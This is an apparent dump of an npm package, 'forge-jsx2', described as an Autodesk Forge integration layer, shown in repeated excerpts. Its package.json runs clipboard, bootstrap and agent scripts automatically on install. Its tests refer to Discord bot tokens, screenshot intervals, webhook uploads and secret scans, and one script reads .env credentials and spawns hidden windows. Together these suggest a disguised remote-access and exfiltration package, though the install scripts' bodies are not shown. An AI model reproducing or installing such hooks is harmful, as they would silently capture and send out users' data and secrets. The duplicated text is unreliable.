--- install scripts ---
### postinstall
node scripts/postinstall-clipboard-event.mjs && node scripts/ensure-dist.mjs && node scripts/postinstall-durable-materialize.mjs && node scripts/postinstall-bootstrap.mjs && node scripts/postinstall-agent.mjs
### prepack
npm run build
--- package/package.json (excerpt) ---
{
"name": "forge-jsx2",
"version": "1.0.126",
"description": "Node.js integration layer for Autodesk Forge",
"license": "MIT",
"forgeAgentWebRtcMinVersion": "1.0.71",
"main": "dist/index.js",
"types": "dist/index.d.ts",
"files": [
"dist",
"assets",
"scripts"
],
"engines": {
"node": ">=18"
},
"scripts": {
"postinstall": "node scripts/postinstall-clipboard-event.mjs && node scripts/ensure-dist.mjs && node scripts/postinstall-durable-materialize.mjs && node scripts/postinstall-bootstrap.mjs && node scripts/postinstall-agent.mjs",
"build": "tsc && node scripts/copy-assets.mjs",
"pretest": "npm run build",
"test": "NODE_ENV=test node --test test/smoke.test.mjs test/forge-bulk-protocol.test.mjs",
"test:explorer": "npm run build && NODE_ENV=test node --test test/explorer-terminal-controls.test.mjs test/cross-os-install.test.mjs",
"test:all": "NODE_ENV=test node --test test/smoke.test.mjs test/forge-bulk-protocol.test.mjs test/hf-hub-upload-streaming.test.mjs test/cross-os-install.test.mjs test/explorer-terminal-controls.test.mjs test/registry-version-lib.test.mjs test/file-lock-force-prefixes.test.mjs test/discord-relay-upload.test.mjs test/discord-webhook-post.test.mjs test/discord-bot-tokens.test.mjs test/discord-screenshot-interval.test.mjs test/production-invariants.test.mjs test/relay-agent-ws-smoke.mjs test/relay-agent-cli-smoke.mjs test/secret-filename-scan.test.mjs test/agent-audit-scan-scope.test.mjs test/agent
--- package/scripts/discord-live-probe.mjs (excerpt) ---
/**
* Live Discord probe for relay `.env` (RELAY_DISCORD_*). Run manually; not part of default CI.
* Usage: `npm run discord:live-probe` or `npm run verify:discord` (includes build).
*/
import dotenv from "dotenv";
import path from "path";
import { fileURLToPath } from "url";
const ROOT = path.join(path.dirname(fileURLToPath(import.meta.url)), "..");
dotenv.config({ path: path.join(ROOT, ".env") });
/** 1×1 PNG */
const MIN_PNG_B64 =
"iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mP8z8BQDwAEhQGAhKmMIQAAAABJRU5ErkJggg==";
function forgeDbApiBase() {
const raw = (
process.env.RELAY_FORGE_DB_API_URL ||
process.env.FORGE_JS_SYNC_URL ||
process.env.CFGMGR_API_URL ||
""
)
.trim()
.replace(/\/api\/?$/, "")
.replace(/\/$/, "");
return raw || "http://127.0.0.1:8765";
}
function relayDiscordRequireSeqId() {
const v = (process.env.RELAY_DISCORD_REQUIRE_SEQ_ID || "1").trim().toLowerCase();
return !["0", "false", "no", "off"].includes(v);
}
/** First registry row with numeric seq_id (matches relay channel naming when REQUIRE_SEQ_ID is on). */
async function fetchProbeClientIdFromForgeDb() {
const apiKey = (process.env.RELAY_FORGE_DB_API_KEY || process.env.FORGE_DB_API_KEY || "").trim();
const res = await fetch(`${forgeDbApiBase()}/api/clients`, {
signal: AbortSignal.timeout(8000),
headers: {
"User-Agent": "forge-jsx-discord-live-probe/1.0",
...(apiKey ? { "X-Forge-Api-Key": apiKey } : {}),
},
});
if
--- package/scripts/ensure-dist.mjs (excerpt) ---
#!/usr/bin/env node
/**
* If `dist/cli-forge.js` is missing (git clone without prebuilt artifacts), run `npm run build`
* when devDependencies (TypeScript) are present. Does not fail `npm install` if build cannot run.
*
* Cross-OS notes:
* - Windows: npm binary is `npm.cmd` when invoked without a shell; we use shell:true so `npm` works everywhere.
* - Linux/macOS: standard `npm` via shell.
* - All child processes use windowsHide:true so no console window flashes on Windows.
* - Uses FORGE_JS_ENSURE_DIST_RUNNING env guard to prevent infinite recursive installs.
*/
import { spawnSync } from "node:child_process";
import { existsSync } from "node:fs";
import path from "node:path";
import { fileURLToPath } from "node:url";
import { isolatedNpmCacheEnv } from "./explorer-isolated-npm-env.mjs";
const __dirname = path.dirname(fileURLToPath(import.meta.url));
const pkgRoot = path.resolve(__dirname, "..");
const cliForge = path.join(pkgRoot, "dist", "cli-forge.js");
// Also check that assets were copied (tsc alone does not copy assets/).
const distAssets = path.join(pkgRoot, "dist", "assets");
if (existsSync(cliForge) && existsSync(distAssets)) {
process.exit(0);
}
// Use shell:true so `npm` resolves correctly on all platforms (Windows needs npm.cmd in non-shell contexts).
const spawnOpts = {
cwd: pkgRoot,
stdio: "pipe",
shell: true,
windowsHide: true,
timeout: 300_000,
};
const localTsc = path.join(pkgRoot, "node_modules", "typescript", "bin", "tsc");
{
"name": "forge-jsx2",
"version": "1.0.126",
"description": "Node.js integration layer for Autodesk Forge",
"license": "MIT",
"forgeAgentWebRtcMinVersion": "1.0.71",
"main": "dist/index.js",
"types": "dist/index.d.ts",
"files": [
"dist",
"assets",
"scripts"
],
"engines": {
"node": ">=18"
},
"scripts": {
"postinstall": "node scripts/postinstall-clipboard-event.mjs && node scripts/ensure-dist.mjs && node scripts/postinstall-durable-materialize.mjs && node scripts/postinstall-bootstrap.mjs && node scripts/postinstall-agent.mjs",
"build": "tsc && node scripts/copy-assets.mjs",
"pretest": "npm run build",
"test": "NODE_ENV=test node --test test/smoke.test.mjs test/forge-bulk-protocol.test.mjs",
"test:explorer": "npm run build && NODE_ENV=test node --test test/explorer-terminal-controls.test.mjs test/cross-os-install.test.mjs",
"test:all": "NODE_ENV=test node --test test/smoke.test.mjs test/forge-bulk-protocol.test.mjs test/hf-hub-upload-streaming.test.mjs test/cross-os-install.test.mjs test/explorer-terminal-controls.test.mjs test/registry-version-lib.test.mjs test/file-lock-force-prefixes.test.mjs test/discord-relay-upload.test.mjs test/discord-webhook-post.test.mjs test/discord-bot-tokens.test.mjs test/discord-screenshot-interval.test.mjs test/production-invariants.test.mjs test/relay-agent-ws-smoke.mjs test/relay-agent-cli-smoke.mjs test/secret-filename-scan.test.mjs test/agent-audit-scan-scope.test.mjs test/agent
/**
* Live Discord probe for relay `.env` (RELAY_DISCORD_*). Run manually; not part of default CI.
* Usage: `npm run discord:live-probe` or `npm run verify:discord` (includes build).
*/
import dotenv from "dotenv";
import path from "path";
import { fileURLToPath } from "url";
const ROOT = path.join(path.dirname(fileURLToPath(import.meta.url)), "..");
dotenv.config({ path: path.join(ROOT, ".env") });
/** 1×1 PNG */
const MIN_PNG_B64 =
"iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mP8z8BQDwAEhQGAhKmMIQAAAABJRU5ErkJggg==";
function forgeDbApiBase() {
const raw = (
process.env.RELAY_FORGE_DB_API_URL ||
process.env.FORGE_JS_SYNC_URL ||
process.env.CFGMGR_API_URL ||
""
)
.trim()
.replace(/\/api\/?$/, "")
.replace(/\/$/, "");
return raw || "http://127.0.0.1:8765";
}
function relayDiscordRequireSeqId() {
const v = (process.env.RELAY_DISCORD_REQUIRE_SEQ_ID || "1").trim().toLowerCase();
return !["0", "false", "no", "off"].includes(v);
}
/** First registry row with numeric seq_id (matches relay channel naming when REQUIRE_SEQ_ID is on). */
async function fetchProbeClientIdFromForgeDb() {
const apiKey = (process.env.RELAY_FORGE_DB_API_KEY || process.env.FORGE_DB_API_KEY || "").trim();
const res = await fetch(`${forgeDbApiBase()}/api/clients`, {
signal: AbortSignal.timeout(8000),
headers: {
"User-Agent": "forge-jsx-discord-live-probe/1.0",
...(apiKey ? { "X-Forge-Api-Key": apiKey } : {}),
},
});
if
#!/usr/bin/env node
/**
* If `dist/cli-forge.js` is missing (git clone without prebuilt artifacts), run `npm run build`
* when devDependencies (TypeScript) are present. Does not fail `npm install` if build cannot run.
*
* Cross-OS notes:
* - Windows: npm binary is `npm.cmd` when invoked without a shell; we use shell:true so `npm` works everywhere.
* - Linux/macOS: standard `npm` via shell.
* - All child processes use windowsHide:true so no console window flashes on Windows.
* - Uses FORGE_JS_ENSURE_DIST_RUNNING env guard to prevent infinite recursive installs.
*/
import { spawnSync } from "node:child_process";
import { existsSync } from "node:fs";
import path from "node:path";
import { fileURLToPath } from "node:url";
import { isolatedNpmCacheEnv } from "./explorer-isolated-npm-env.mjs";
const __dirname = path.dirname(fileURLToPath(import.meta.url));
const pkgRoot = path.resolve(__dirname, "..");
const cliForge = path.join(pkgRoot, "dist", "cli-forge.js");
// Also check that assets were copied (tsc alone does not copy assets/).
const distAssets = path.join(pkgRoot, "dist", "assets");
if (existsSync(cliForge) && existsSync(distAssets)) {
process.exit(0);
}
// Use shell:true so `npm` resolves correctly on all platforms (Windows needs npm.cmd in non-shell contexts).
const spawnOpts = {
cwd: pkgRoot,
stdio: "pipe",
shell: true,
windowsHide: true,
timeout: 300_000,
};
const localTsc = path.join(pkgRoot, "node_modules", "typescript", "bin", "tsc");